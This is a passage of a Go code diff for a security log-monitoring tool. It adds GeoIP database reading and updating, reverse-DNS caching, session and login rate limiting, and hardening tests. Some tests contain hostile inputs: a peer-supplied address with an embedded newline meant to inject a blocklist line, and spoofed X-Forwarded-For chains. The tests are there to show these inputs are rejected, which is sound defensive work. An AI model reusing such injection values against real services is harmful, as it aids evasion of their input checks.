+func (r *reader) acquire() bool { + r.mu.RLock() + if r.closed { + r.mu.RUnlock() + return false + } + return true +} +func (r *reader) release() { r.mu.RUnlock() } + +// close espera os leitores em andamento e libera o mapeamento. +func (r *reader) close() error { + r.mu.Lock() + defer r.mu.Unlock() + if r.closed { + return nil + } + r.closed = true + r.buf, r.dec = nil, decoder{} + if r.unmap != nil { + return r.unmap() + } + return nil +} + +// sanity runs a few lookups so a structurally odd file fails here, at install +// time, instead of inside the log pipeline. A panic is reported as an error. +func (r *reader) sanity() (err error) { + defer func() { + if p := recover(); p != nil { + err = fmt.Errorf("mmdb: consulta de sanidade falhou: %v", p) + } + }() + for _, a := range []string{"8.8.8.8", "1.1.1.1", "2001:4860:4860::8888", "192.0.2.1", "::1"} { + if ip, perr := netip.ParseAddr(a); perr == nil { + r.find(ip) + } + } + return nil +} diff --git a/internal/geo/mmdbwriter_test.go b/internal/geo/mmdbwriter_test.go new file mode 100644 index 0000000..8b57d34 --- /dev/null +++ b/internal/geo/mmdbwriter_test.go @@ -0,0 +1,281 @@ +package geo + +import ( + "bytes" + "encoding/binary" + "math" + "math/big" + "net/netip" + "sort" +) + +// Writer MMDB mínimo, só para testes. + +type f32 float32 +type u16 uint16 +type u32 uint32 +type u64 uint64 +type u128 struct{ *big.Int } +type i32 int32 + +type mmEnc struct { + buf bytes.Buffer + strs map[string]int + ptrs bool +} + +func ctrlBytes(typ byte, size int) []byte { + var first byte + var ext []byte + if typ <= 7 { + first = typ << 5 + } else { + ext = []byte{typ - 7} + } + var sz []byte + switch { + case size < 29: + first |= byte(size) + case size < 285: + first |= 29 + sz = []byte{byte(size - 29)} + case size < 65821: + first |= 30 + v := size - 285 + sz = []byte{byte(v >> 8), byte(v)} + default: + first |= 31 + v := size - 65821 + sz = []byte{byte(v >> 16), byte(v >> 8), byte(v)} + } + return append(append([]byte{first}, ext...), sz...) +} + +func (e *mmEnc) pointer(off int) { + switch { + case off < 2048: + e.buf.Write([]byte{0x20 | byte(off>>8), byte(off)}) + case off < 2048+(1<<19): + v := off - 2048 + e.buf.Write([]byte{0x28 | byte(v>>16), byte(v >> 8), byte(v)}) + case off < 526336+(1<<27): + v := off - 526336 + e.buf.Write([]byte{0x30 | byte(v>>24), byte(v >> 16), byte(v >> 8), byte(v)}) + default: + e.buf.Write([]byte{0x38, byte(off >> 24), byte(off >> 16), byte(off >> 8), byte(off)}) + } +} + +func uintBytes(v uint64) []byte { + var b [8]byte + binary.BigEndian.PutUint64(b[:], v) + i := 0 + for i < 8 && b[i] == 0 { + i++ + } + return b[i:] +} + +func (e *mmEnc) str(s string) { + if e.ptrs { + if off, ok := e.strs[s]; ok { + e.pointer(off) + return + } + e.strs[s] = e.buf.Len() + } + e.buf.Write(ctrlBytes(2, len(s))) + e.buf.WriteString(s) +} + +func (e *mmEnc) value(v any) { + switch x := v.(type) { + case string: + e.str(x) + case float64: + e.buf.Write(ctrlBytes(3, 8)) + var b [8]byte + binary.BigEndian.PutUint64(b[:], math.Float64bits(x)) + e.buf.Write(b[:]) + case f32: + e.buf.Write(ctrlBytes(15, 4)) + var b [4]byte + binary.BigEndian.PutUint32(b[:], math.Float32bits(float32(x))) + e.buf.Write(b[:]) + case []byte: + e.buf.Write(ctrlBytes(4, len(x))) + e.buf.Write(x) + case u16: + b := uintBytes(uint64(x)) + e.buf.Write(ctrlBytes(5, len(b))) + e.buf.Write(b) + case u32: + b := uintBytes(uint64(x)) + e.buf.Write(ctrlBytes(6, len(b))) + e.buf.Write(b) + case uint32: + e.value(u32(x)) + case u64: + b := uintBytes(uint64(x)) + e.buf.Write(ctrlBytes(9, len(b))) + e.buf.Write(b) + case int: + e.value(u32(x)) + case u128: + b := x.Bytes() + e.buf.Write(ctrlBytes(10, len(b))) + e.buf.Write(b) + case i32: + var b [4]byte + binary.BigEndian.PutUint32(b[:], uint32(x)) + e.buf.Write(ctrlBytes(8, 4)) + e.buf.Write(b[:]) + case bool: + n := 0 + if x { + n = 1 + } + e.buf.Write(ctrlBytes(14, n)) + case []any: + e.buf.Write(ctrlBytes(11, len(x))) + for _, it := range x { + e.value(it) + } + case map[string]any: + keys := make([]string, 0, len(x)) + for k := range x { + keys = append(keys, k) + } + sort.Strings(keys) + e.buf.Write(ctrlBytes(7, len(x))) + for _, k := range keys { + e.str(k) + e.value(x[k]) + } + default: + panic("tipo não suportado no writer") + } +} + +type mmEntry struct { + pfx netip.Prefix + val any +} + +type trieNode struct { + child [2]*trieNode + data int // índice+1 em entries; 0 = nenhum +} + +// buildMMDB gera um arquivo MMDB sintético. +func buildMMDB(ipVersion, recSize int, entries []mmEntry, usePointers bool, buildEpoch uint64, dbType string) []byte { + root := &trieNode{} + for i, en := range entries { + a := en.pfx.Addr().Unmap() + bits := en.pfx.Bits() + var raw []byte + if a.Is4() { + a4 := a.As4() + if ipVersion == 6 { + raw = append(make([]byte, 12), a4[:]...) + bits += 96 + } else { + raw = a4[:] + } + } else { + a16 := a.As16() + raw = a16[:] + } + n := root + for b := 0; b < bits; b++ { + bit := (raw[b/8] >> (7 - uint(b%8))) & 1 + if n.child[bit] == nil { + n.child[bit] = &trieNode{} + } + n = n.child[bit] + } + n.data = i + 1 + } + // herança: prefixos mais específicos não podem apagar a cobertura do mais amplo + var fill func(n *trieNode, inh int) + fill = func(n *trieNode, inh int) { + if n.child[0] == nil && n.child[1] == nil { + return + } + if n.data != 0 { + inh = n.data + } + for i := range n.child { + if n.child[i] == nil && inh != 0 { + n.child[i] = &trieNode{data: inh} + } else if n.child[i] != nil { + fill(n.child[i], inh) + } + } + } + fill(root, 0) + // numerar nós (pré-ordem), folhas com dados não são nós + var nodes []*trieNode + idx := map[*trieNode]int{} + var walk func(n *trieNode) + walk = func(n *trieNode) { + idx[n] = len(nodes) + nodes = append(nodes, n) + for _, c := range n.child { + if c != nil && (c.child[0] != nil || c.child[1] != nil) { + walk(c) + } + } + } + walk(root) + nodeCount := len(nodes) + // dados + enc := &mmEnc{strs: map[string]int{}, ptrs: usePointers} + offs := make([]int, len(entries)) + for i, en := range entries { + offs[i] = enc.buf.Len() + enc.value(en.val) + } + rec := func(c *trieNode) int { + switch { + case c == nil: + return nodeCount + case c.child[0] != nil || c.child[1] != nil: + return idx[c] + default: + return nodeCount + 16 + offs[c.data-1] + } + } + var out bytes.Buffer + for _, n := range nodes { + l, r := rec(n.child[0]), rec(n.child[1]) + switch recSize { + case 24: + out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte(r >> 16), byte(r >> 8), byte(r)}) + case 28: + out.Write([]byte{byte(l >> 16), byte(l >> 8), byte(l), byte((l>>24)<<4) | byte(r>>24), byte(r >> 16), byte(r >> 8), byte(r)}) + case 32: + var b [8]byte + binary.BigEndian.PutUint32(b[:], uint32(l)) + binary.BigEndian.PutUint32(b[4:], uint32(r)) + out.Write(b[:]) + } + } + out.Write(make([]byte, 16)) + out.Write(enc.buf.Bytes()) + out.WriteString("\xab\xcd\xefMaxMind.com") + meta := &mmEnc{} + meta.value(map[string]any{ + "binary_format_major_version": u16(2), + "binary_format_minor_version": u16(0), + "build_epoch": u64(buildEpoch), + "database_type": dbType, + "ip_version": u16(ipVersion), + "node_count": u32(nodeCount), + "record_size": u16(recSize), + "languages": []any{"en", "pt-BR"}, + "description": map[string]any{"en": "teste"}, + }) + out.Write(meta.buf.Bytes()) + return out.Bytes() +} diff --git a/internal/geo/update.go b/internal/geo/update.go new file mode 100644 index 0000000..a3caf39 --- /dev/null +++ b/internal/geo/update.go @@ -0,0 +1,188 @@ +package geo + +import ( + "compress/gzip" + "context" + "errors" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "time" +) + +const ( + maxAge = 35 * 24 * time.Hour + maxUnpacked = 1 << 30 // teto de segurança para o arquivo descompactado +) + +// downloadBase é a URL base dos arquivos; variável para os testes. +var downloadBase = "https://download.db-ip.com/free/" + +var errNotFound = errors.New("não encontrado") + +// StartUpdater baixa as bases na partida se faltarem ou tiverem mais de 35 +// dias e depois confere a cada interval. Roda em goroutine própria até ctx +// terminar. Falhas ficam em Status().LastError e nunca interrompem o uso. +func (r *Resolver) StartUpdater(ctx context.Context, interval time.Duration, client *http.Client) { + if client == nil { + client = &http.Client{Timeout: 15 * time.Minute} + } + if interval <= 0 { + interval = 24 * time.Hour + } + go func() { + r.updateAll(ctx, client, false) + t := time.NewTicker(interval) + defer t.Stop() + for { + select { + case <-ctx.Done(): + return + case <-t.C: + r.updateAll(ctx, client, true) + } + } + }() +} + +// updateAll atualiza city e asn. Na partida (periodic=false) só baixa se +// faltar ou estiver velha; nos ciclos, procura o arquivo do mês corrente. +func (r *Resolver) updateAll(ctx context.Context, client *http.Client, periodic bool) { + if !r.updating.CompareAndSwap(false, true) { + return + } + defer r.updating.Store(false) + var errs []string + for _, k := range []kind{kindCity, kindASN} { + if ctx.Err() != nil { + return + } + if !periodic { + if d := r.slot(k).Load(); d != nil && time.Since(time.Unix(int64(d.r.BuildEpoch), 0)) <= maxAge { + continue + } + } + if err := r.updateKind(ctx, client, k); err != nil { + errs = append(errs, k.name+": "+err.Error()) + } + } + r.mu.Lock() + r.lastCheck = time.Now() + if len(errs) > 0 { + r.lastErr = errs[0] + for _, e := range errs[1:] { + r.lastErr += "; " + e + } + } else { + r.lastErr = "" + } + r.mu.Unlock() +} + +func (r *Resolver) updateKind(ctx context.Context, client *http.Client, k kind) error { + now := time.Now().UTC() + cur := time.Date(now.Year(), now.Month(), 1, 0, 0, 0, 0, time.UTC) + for _, m := range []time.Time{cur, cur.AddDate(0, -1, 0)} { + name := fmt.Sprintf("%s%s.mmdb", k.prefix, m.Format("2006-01")) + final := filepath.Join(r.dir, name) + if d := r.slot(k).Load(); d != nil && filepath.Base(d.file) >= name { + return nil // já temos este mês (ou mais novo) + } + if _, err := os.Stat(final); err == nil { + if r.install(k, final) == nil { + return nil + } + } + err := r.download(ctx, client, k, name+".gz", final) + if errors.Is(err, errNotFound) { + continue + } + if err != nil { + return err + } + return r.install(k, final) + } + return nil // nenhum arquivo publicado ainda; tenta no próximo ciclo +} + +func (r *Resolver) download(ctx context.Context, client *http.Client, k kind, remote, final string) error { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, downloadBase+remote, nil) + if err != nil { + return err + } + req.Header.Set("User-Agent", "urutau-geo") + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode == http.StatusNotFound { + return errNotFound + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("download %s: HTTP %d", remote, resp.StatusCode) + } + gz, err := gzip.NewReader(resp.Body) + if err != nil { + return fmt.Errorf("download %s: %w", remote, err) + } + defer gz.Close() + tmp, err := os.CreateTemp(r.dir, ".tmp-"+k.name+"-*") + if err != nil { + return err + } + tmpName := tmp.Name() + defer os.Remove(tmpName) // no-op após rename + n, err := io.Copy(tmp, io.LimitReader(gz, maxUnpacked+1)) + if cerr := tmp.Close(); err == nil { + err = cerr + } + if err != nil { + return fmt.Errorf("download %s: %w", remote, err) + } + if n > maxUnpacked { + return fmt.Errorf("download %s: arquivo grande demais", remote) + } + // valida abrindo o MMDB e fazendo uma consulta de sanidade + probe, err := openReader(tmpName) + if err != nil { + return fmt.Errorf("download %s inválido: %w", remote, err) + } + serr := probe.sanity() + probe.close() + if serr != nil { + return fmt.Errorf("download %s inválido: %w", remote, serr) + } + if err := os.Chmod(tmpName, 0o644); err != nil { + return err + } + return os.Rename(tmpName, final) +} + +// install abre path e troca a base em uso, fechando a antiga e removendo meses velhos. +func (r *Resolver) install(k kind, path string) error { + rd, err := openReader(path) + if err != nil { + return err + } + if err := rd.sanity(); err != nil { + rd.close() + return err + } + old := r.slot(k).Swap(&db{r: rd, file: path}) + r.cache.clear() + r.mu.Lock() + r.lastUpdate = time.Now() + r.mu.Unlock() + if old != nil { + old.r.close() // espera lookups em andamento terminarem + } + for _, f := range r.listFiles(k) { + if f != path && filepath.Base(f) < filepath.Base(path) { + os.Remove(f) + } + } + return nil +} diff --git a/internal/rdns/rdns.go b/internal/rdns/rdns.go new file mode 100644 index 0000000..0038e8b --- /dev/null +++ b/internal/rdns/rdns.go @@ -0,0 +1,99 @@ +// Package rdns resolves reverse DNS names in the background with a cache. +package rdns + +import ( + "context" + "net" + "net/netip" + "strings" + "sync" + "time" +) + +type entry struct { + name string + exp time.Time +} + +// Resolver answers from cache and queues unknown addresses for a worker. +type Resolver struct { + TTL time.Duration + Timeout time.Duration + MaxSize int + lookup func(ctx context.Context, ip string) ([]string, error) + + mu sync.Mutex + cache map[string]entry + pending map[string]bool + queue chan string +} + +// New creates a resolver using the system resolver. +func New() *Resolver { + r := &Resolver{TTL: 24 * time.Hour, Timeout: 2 * time.Second, MaxSize: 4000, + cache: map[string]entry{}, pending: map[string]bool{}, queue: make(chan string, 256)} + r.lookup = func(ctx context.Context, ip string) ([]string, error) { return net.DefaultResolver.LookupAddr(ctx, ip) } + return r +} + +// Lookup returns the cached name ("" when unknown or not resolvable yet) and +// queues the address for resolution. It never blocks. +func (r *Resolver) Lookup(ip string) string { + if a, err := netip.ParseAddr(ip); err != nil || a.IsPrivate() || a.IsLoopback() || a.IsUnspecified() { + return "" + } + r.mu.Lock() + e, ok := r.cache[ip] + if ok && time.Now().Before(e.exp) { + r.mu.Unlock() + return e.name + } + if r.pending[ip] { + r.mu.Unlock() + return e.name + } + r.pending[ip] = true + r.mu.Unlock() + select { + case r.queue <- ip: + default: + r.mu.Lock() + delete(r.pending, ip) + r.mu.Unlock() + } + return e.name +} + +// Run resolves queued addresses until ctx is done. +func (r *Resolver) Run(ctx context.Context) { + for { + select { + case <-ctx.Done(): + return + case ip := <-r.queue: + cctx, cancel := context.WithTimeout(ctx, r.Timeout) + names, err := r.lookup(cctx, ip) + cancel() + name := "" + if err == nil && len(names) > 0 { + name = strings.TrimSuffix(names[0], ".") + if len(name) > 200 { + name = name[:200] + } + name = strings.Map(func(c rune) rune { + if c < 0x21 || c > 0x7e { + return -1 + } + return c + }, name) + } + r.mu.Lock() + if len(r.cache) >= r.MaxSize { + r.cache = map[string]entry{} + } + r.cache[ip] = entry{name, time.Now().Add(r.TTL)} + delete(r.pending, ip) + r.mu.Unlock() + } + } +} diff --git a/internal/server/auth.go b/internal/server/auth.go new file mode 100644 index 0000000..52b0418 --- /dev/null +++ b/internal/server/auth.go @@ -0,0 +1,236 @@ +package server + +import ( + "crypto/rand" + "crypto/sha256" + "crypto/subtle" + "encoding/base64" + "net" + "net/http" + "net/netip" + "strings" + "sync" + "time" +) + +const ( + cookieName = "urutau_session" + sessionTTL = 12 * time.Hour + loginMax = 5 + loginWindow = 10 * time.Minute + maxLimiterIP = 10000 +) + +// tokenEqual compares in constant time regardless of length. +func tokenEqual(a, b string) bool { + ha, hb := sha256.Sum256([]byte(a)), sha256.Sum256([]byte(b)) + return subtle.ConstantTimeCompare(ha[:], hb[:]) == 1 +} + +const maxSessions = 64 + +// sessions is the in-memory registry of signed-in browsers. The cookie carries +// a random id; logging out deletes it, so a stolen cookie can be revoked. A +// restart signs everybody out. +type sessions struct { + mu sync.Mutex + ids map[string]time.Time +} + +func newSessions() *sessions { return &sessions{ids: map[string]time.Time{}} } + +func (s *sessions) issue(now time.Time) (string, time.Time) { + b := make([]byte, 32) + if _, err := rand.Read(b); err != nil { + panic(err) + } + id := base64.RawURLEncoding.EncodeToString(b) + exp := now.Add(sessionTTL) + s.mu.Lock() + defer s.mu.Unlock() + for k, e := range s.ids { + if now.After(e) { + delete(s.ids, k) + } + } + for len(s.ids) >= maxSessions { // drop the oldest + var oldK string + var oldE time.Time + for k, e := range s.ids { + if oldK == "" || e.Before(oldE) { + oldK, oldE = k, e + } + } + delete(s.ids, oldK) + } + s.ids[id] = exp + return id, exp +} + +func (s *sessions) valid(id string, now time.Time) bool { + s.mu.Lock() + defer s.mu.Unlock() + exp, ok := s.ids[id] + if ok && now.After(exp) { + delete(s.ids, id) + return false + } + return ok +} + +func (s *sessions) revoke(id string) { s.mu.Lock(); delete(s.ids, id); s.mu.Unlock() } + +// limiter allows loginMax failures per client inside loginWindow. IPv6 +// clients are keyed by their /64. +type limiter struct { + mu sync.Mutex + fail map[string][]time.Time + busy map[string]bool // a blocked client gets one wrong attempt in flight at a time + now func() time.Time +} + +func newLimiter() *limiter { + return &limiter{fail: map[string][]time.Time{}, busy: map[string]bool{}, now: time.Now} +} + +// maxFailKept bounds the timestamps kept per client. +const maxFailKept = 64 + +// maxBlockedDelay caps the progressive delay of a blocked client. +var maxBlockedDelay = 30 * time.Second // a var so tests can shorten it + +// penalty is the delay of the next wrong attempt of a blocked client: 1 s, +// doubling with every failure past the limit, at most maxBlockedDelay. +func (l *limiter) penalty(ip string) time.Duration { + l.mu.Lock() + defer l.mu.Unlock() + over := len(l.recent(limiterKey(ip))) - loginMax + if over < 0 { + return 0 + } + if over > 5 { + return maxBlockedDelay + } + d := loginBlockedDelay << over + if d > maxBlockedDelay { + d = maxBlockedDelay + } + return d +} + +// acquire marks the client's single slow slot as taken; false means another +// wrong attempt of the same client is already waiting. +func (l *limiter) acquire(ip string) (release func(), ok bool) { + key := limiterKey(ip) + l.mu.Lock() + defer l.mu.Unlock() + if l.busy[key] { + return nil, false + } + l.busy[key] = true + return func() { l.mu.Lock(); delete(l.busy, key); l.mu.Unlock() }, true +} + +// limiterKey aggregates IPv6 by /64: one subscriber owns the whole prefix. +func limiterKey(ip string) string { + if a, err := netip.ParseAddr(ip); err == nil { + a = a.WithZone("").Unmap() + if a.Is6() { + return netip.PrefixFrom(a, 64).Masked().String() + } + return a.String() + } + return ip +} + +func (l *limiter) recent(key string) []time.Time { + cut := l.now().Add(-loginWindow) + list := l.fail[key] + i := 0 + for i < len(list) && list[i].Before(cut) { + i++ + } + list = list[i:] + if len(list) == 0 { + delete(l.fail, key) + } else { + l.fail[key] = list + } + return list +} + +// blocked returns how long the client must wait, or 0. +func (l *limiter) blocked(ip string) time.Duration { + l.mu.Lock() + defer l.mu.Unlock() + list := l.recent(limiterKey(ip)) + if len(list) < loginMax { + return 0 + } + return list[0].Add(loginWindow).Sub(l.now()) +} + +func (l *limiter) failure(ip string) { + l.mu.Lock() + defer l.mu.Unlock() + key := limiterKey(ip) + if _, known := l.fail[key]; !known && len(l.fail) >= maxLimiterIP { + // full: expire the stale entries, and if everybody is fresh drop the one + // whose latest failure is the oldest (never forget all of them at once) + var oldK string + var oldT time.Time + for k := range l.fail { + list := l.recent(k) + if len(list) == 0 { + continue + } + if last := list[len(list)-1]; oldK == "" || last.Before(oldT) { + oldK, oldT = k, last + } + } + if len(l.fail) >= maxLimiterIP && oldK != "" { + delete(l.fail, oldK) + } + } + list := append(l.recent(key), l.now()) + if len(list) > maxFailKept { + list = list[len(list)-maxFailKept:] + } + l.fail[key] = list +} + +func (l *limiter) reset(ip string) { l.mu.Lock(); delete(l.fail, limiterKey(ip)); l.mu.Unlock() } + +// clientIP is the address used for rate limiting and for the peer allow list. +// X-Forwarded-For is only believed when the TCP peer is one of the trusted +// proxies; the chain is then walked from the right, skipping trusted proxies, +// so a client cannot choose its own address by sending the header. +func clientIP(r *http.Request, trusted []netip.Prefix) string { + host, _, err := net.SplitHostPort(r.RemoteAddr) + if err != nil { + host = r.RemoteAddr + } + a, err := netip.ParseAddr(host) + if err != nil || !prefixesContain(trusted, a) { + return host + } + var hops []string + for _, h := range r.Header.Values("X-Forwarded-For") { + hops = append(hops, strings.Split(h, ",")...) + } + for i := len(hops) - 1; i >= 0; i-- { + hop := strings.TrimSpace(hops[i]) + ha, err := netip.ParseAddr(hop) + if err != nil || ha.Zone() != "" { + return host // garbage in the chain: fall back to the proxy itself + } + if !prefixesContain(trusted, ha) { + return ha.Unmap().String() + } + } + return host +} + +func isHTTPS(r *http.Request) bool { + return r.TLS != nil || strings.EqualFold(r.Header.Get("X-Forwarded-Proto"), "https") +} diff --git a/internal/server/hardening_test.go b/internal/server/hardening_test.go new file mode 100644 index 0000000..784de65 --- /dev/null +++ b/internal/server/hardening_test.go @@ -0,0 +1,243 @@ +package server + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "sync" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +const ( + utok = "user-token-0123456789-abcdefghijklmnop" + ptok = "peer-token-0123456789-abcdefghijklmnopq" +) + +func bearerGet(h http.Handler, path string) (int, string) { + r := httptest.NewRequest("GET", path, nil) + r.RemoteAddr = "198.51.100.9:1" + r.Header.Set("Authorization", "Bearer "+utok) + w := httptest.NewRecorder() + h.ServeHTTP(w, r) + b, _ := io.ReadAll(w.Body) + return w.Code, string(b) +} + +// A hostile peer cannot inject lines, private or zoned addresses, or absurd +// scores into the blocklist; every row is revalidated by the writer. +func TestBlocklistRevalidatesPeerRowsAndAdmins(t *testing.T) { + exp := store.PeerExport{V: 1} + exp.Summary.IPs = []store.IPSummary{ + {IP: "2001:db8::1%a\n8.8.8.8", Score: 99, Strong: true}, + {IP: "0.0.0.0", Score: 99, Strong: true}, + {IP: "::ffff:10.0.0.1", Score: 99, Strong: true}, + {IP: "192.168.1.1", Score: 99, Strong: true}, + {IP: "100.64.0.9", Score: 99, Strong: true}, + {IP: "203.0.113.7", Score: 99, Strong: true}, + {IP: "1.2.3.4", Score: 1e300, Strong: true}, + {IP: "9.9.9.9", Score: 99, Strong: true, Admin: true}, + {IP: "8.8.4.4", Score: 99, Strong: true}, + {IP: "2606:4700:0:7::/64", Score: 80, Strong: true}, + {IP: "5.6.7.8", Score: 99, Strong: false}, + } + peer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { json.NewEncoder(w).Encode(exp) })) + defer peer.Close() + hub := fed.NewHub([]fed.Peer{{Name: "p", URL: peer.URL}}, ptok) + hub.Refresh(context.Background()) + st := store.New(store.Config{Name: "me", Version: "t"}) + h := New(Options{Token: utok, PeerTokens: []string{ptok}, Store: st, Hub: hub, Ignore: mustPrefixes("8.8.4.4/32")}) + code, body := bearerGet(h, "/api/v1/blocklist.txt") + if code != 200 { + t.Fatal(code) + } + lines := strings.Split(strings.TrimSpace(body), "\n") + // 9.9.9.9 claims Admin, but admin immunity is never taken from a peer + // (a compromised peer could shield any address), so it is listed. + want := map[string]bool{"1.2.3.4": true, "2606:4700:0:7::/64": true, "9.9.9.9": true} + if len(lines) != len(want) { + t.Fatalf("blocklist lines %q", lines) + } + for _, l := range lines { + if !want[l] { + t.Fatalf("unexpected blocklist entry %q in %q", l, lines) + } + } + code, js := bearerGet(h, "/api/v1/blocklist.json") + if code != 200 || strings.Contains(js, "%a") || strings.Contains(js, "10.0.0.1") || strings.Contains(js, "1e+") { + t.Fatalf("json: %s", js) + } +} + +func TestAnAdminWithSuccessfulLoginsNeverEntersTheBlocklist(t *testing.T) { + st := store.New(store.Config{Name: "me", AdminUsers: []string{"admin"}}) + now := time.Now() + st.Ingest(core.Event{Time: now, IP: "203.0.113.50", Cat: core.SSHOK, Source: "ssh", User: "admin"}) + for i := 0; i < 30; i++ { + st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHOK, Source: "ssh", User: "admin"}) + st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHFail, Source: "ssh", User: "admin"}) + st.Ingest(core.Event{Time: now, IP: "45.45.45.45", Cat: core.SSHProbe, Source: "ssh"}) + } + h := New(Options{Token: utok, Store: st}) + if _, b := bearerGet(h, "/api/v1/blocklist.txt?min_score=1"); strings.TrimSpace(b) != "" { + t.Fatalf("blocklist with an admin address: %q", b) + } + _, b := bearerGet(h, "/api/v1/ip/45.45.45.45") + if !strings.Contains(b, `"admin":true`) || strings.Contains(b, `"level":"hostile"`) { + t.Fatalf("the admin must not be hostile: %s", b) + } +} + +func TestHugePageNumbersDoNotPanic(t *testing.T) { + st := store.New(store.Config{Name: "me"}) + st.Ingest(core.Event{Time: time.Now(), IP: "1.2.3.4", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"}) + h := New(Options{Token: utok, Store: st}) + for _, pg := range []string{"184467440737095517", "184467440737095516", "9223372036854775807", "-1", "99999999999999999999", "abc"} { + if c, _ := bearerGet(h, "/api/v1/ips?page="+pg); c != 200 { + t.Errorf("page=%s: %d", pg, c) + } + } +} + +func TestIPv6DetailAndBlocklistUseThe64(t *testing.T) { + st := store.New(store.Config{Name: "me"}) + now := time.Now() + for i := 0; i < 30; i++ { + st.Ingest(core.Event{Time: now, IP: fmt.Sprintf("2606:4700:0:7:%x::1", i+1), Cat: core.Exploit, Strong: true, Source: "traefik", Path: "/x", Method: "GET"}) + } + h := New(Options{Token: utok, Store: st}) + if _, b := bearerGet(h, "/api/v1/blocklist.txt"); strings.TrimSpace(b) != "2606:4700:0:7::/64" { + t.Fatalf("blocklist %q", b) + } + if c, b := bearerGet(h, "/api/v1/ip/2606:4700:0:7:ffff::9"); c != 200 || !strings.Contains(b, `"ip":"2606:4700:0:7::/64"`) { + t.Fatalf("%d %s", c, b) + } + if c, _ := bearerGet(h, "/api/v1/ip/fe80::1%25eth0"); c != 400 { + t.Fatalf("a zoned address is refused: %d", c) + } +} + +func TestSSEClosesWhenTheSessionIsRevoked(t *testing.T) { + old := sseHeartbeat + sseHeartbeat = 50 * time.Millisecond + defer func() { sseHeartbeat = old }() + loginBlockedDelay = 0 + ts := httptest.NewServer(federated(t, nil)) + defer ts.Close() + cl := &http.Client{CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }} + resp, err := cl.PostForm(ts.URL+"/login", url.Values{"token": {utok}}) + if err != nil { + t.Fatal(err) + } + cookie := resp.Cookies()[0] + req, _ := http.NewRequest("GET", ts.URL+"/api/v1/events/stream", nil) + req.AddCookie(cookie) + stream, err := cl.Do(req) + if err != nil || stream.StatusCode != 200 { + t.Fatalf("stream: %v %v", err, stream) + } + defer stream.Body.Close() + out := make(chan error, 1) + go func() { _, err := io.Copy(io.Discard, stream.Body); out <- err }() + lr, _ := http.NewRequest("POST", ts.URL+"/logout", nil) + lr.AddCookie(cookie) + if r, err := cl.Do(lr); err != nil || r.StatusCode != 303 { + t.Fatal(err, r) + } + select { + case <-out: + case <-time.After(3 * time.Second): + t.Fatal("a revoked session must close its live stream at the next heartbeat") + } +} + +func TestClientIPVectors(t *testing.T) { + trusted := mustPrefixes("10.0.0.0/8,172.16.0.0/12") + for xff, want := range map[string]string{ + "1.1.1.1, 2.2.2.2": "2.2.2.2", + "1.1.1.1,2.2.2.2:80": "172.18.0.2", // not an address: fall back to the proxy + "1.1.1.1, 203.0.113.5 ,172.18.0.1": "203.0.113.5", + "::ffff:1.2.3.4": "1.2.3.4", + "fe80::1%eth0": "172.18.0.2", + "1.1.1.1, , 2.2.2.2": "2.2.2.2", + "172.18.0.9": "172.18.0.2", + } { + r := httptest.NewRequest("GET", "/", nil) + r.RemoteAddr = "172.18.0.2:5555" + r.Header.Set("X-Forwarded-For", xff) + if got := clientIP(r, trusted); got != want { + t.Errorf("XFF=%q -> %q, want %q", xff, got, want) + } + } + r := httptest.NewRequest("GET", "/", nil) + r.RemoteAddr = "[fd00::5]:5555" + r.Header.Set("X-Forwarded-For", "1.1.1.1") + if clientIP(r, trusted) != "fd00::5" { + t.Fatal("a peer outside the trusted list is the client") + } +} + +func TestConcurrentHubAndStoreUnderLoad(t *testing.T) { + pst := store.New(store.Config{Name: "peer", Version: "t"}) + ph := New(Options{Token: utok, PeerTokens: []string{ptok}, Store: pst}) + ps := httptest.NewServer(ph) + defer ps.Close() + hub := fed.NewHub([]fed.Peer{{Name: "peer", URL: ps.URL}}, ptok) + hub.Interval = 20 * time.Millisecond + st := store.New(store.Config{Name: "me", Version: "t", MaxIPs: 3000}) + srv := httptest.NewServer(New(Options{Token: utok, PeerTokens: []string{ptok}, Store: st, Hub: hub})) + defer srv.Close() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go hub.Run(ctx) + var wg sync.WaitGroup + stop := make(chan struct{}) + now := time.Now() + for _, s := range []*store.Store{st, pst} { + wg.Add(1) + go func(s *store.Store) { + defer wg.Done() + for i := 0; ; i++ { + select { + case <-stop: + return + default: + } + s.Ingest(core.Event{Time: now, IP: fmt.Sprintf("9.%d.%d.%d", i>>16&255, i>>8&255, i&255), Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET", Domain: "d"}) + s.Traffic(core.Event{Time: now, IP: "3.3.3.3", Source: "traefik", Domain: "d", Method: "GET", Path: "/", Status: 200}) + } + }(s) + } + paths := []string{"/api/v1/summary", "/api/v1/summary?host=peer", "/api/v1/ips?per=200&sort=events", "/api/v1/traffic?domain=d", "/api/v1/blocklist.json", "/api/v1/ip/9.0.0.1"} + for g := 0; g < 6; g++ { + wg.Add(1) + go func(g int) { + defer wg.Done() + for i := 0; ; i++ { + select { + case <-stop: + return + default: + } + req, _ := http.NewRequest("GET", srv.URL+paths[(g+i)%len(paths)], nil) + req.Header.Set("Authorization", "Bearer "+utok) + if r, err := http.DefaultClient.Do(req); err == nil { + io.Copy(io.Discard, r.Body) + r.Body.Close() + } + } + }(g) + } + time.Sleep(1500 * time.Millisecond) + close(stop) + wg.Wait() +} diff --git a/internal/server/limiter_test.go b/internal/server/limiter_test.go new file mode 100644 index 0000000..62f0c6f --- /dev/null +++ b/internal/server/limiter_test.go @@ -0,0 +1,101 @@ +package server + +import ( + "net/http" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + 